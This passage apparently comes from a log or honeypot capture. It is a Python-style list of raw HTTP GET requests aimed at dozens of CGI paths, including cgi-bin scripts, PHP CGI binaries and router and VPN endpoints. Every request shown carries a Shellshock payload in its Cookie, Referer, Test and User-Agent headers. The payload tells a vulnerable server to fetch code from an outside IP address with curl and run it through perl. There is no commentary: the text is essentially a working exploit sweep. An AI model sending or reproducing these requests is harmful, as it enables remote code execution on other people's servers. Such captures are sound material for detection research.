http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/c_download.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/book.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/badmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/auction/auction.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/AT-admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/astrocam.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/alienform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/aglimpse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/af.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/addbanner.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/a1stats/a1disp4.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/.namazu.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin-sdb/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /catalog/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /bandwidth/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /axis-cgi/buffer/command.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /analyse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /administrator.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/php HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/php5 HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/php4 HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/php-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/php.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/firmwarecfg HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin///admin.html HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/admin.html HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/test-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /sys-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /dana-na/auth/url_default/welcome.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/tree.php HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ICuGI/EST/blast_detail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/hello HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/w3mman2html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/status/status.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /wwwboard/wwwboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /wwwboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /wwwadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /webtools/bonsai/showcheckins.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /webtools/bonsai/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /webtools/bonsai/cvsquery.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /webtools/bonsai/cvslog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /webtools/bonsai/cvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /webtools/bonsai/ccvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /Web_Store/web_store.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /users/scripts/submit.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /userreg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /upload.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /tmUnblock.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /template.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /technote/print.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /submit.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /siteUserMod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /site_searcher.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /shop/normal_html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /shop/member_html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /SetSecurity.shmHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /setpasswd.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /servers/link.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /scancfg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /sampleposteddata.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /sample04.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /sample03.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /sample02.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /sample01.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /ROADS/cgi-bin/search.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /reviews/newpro.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | 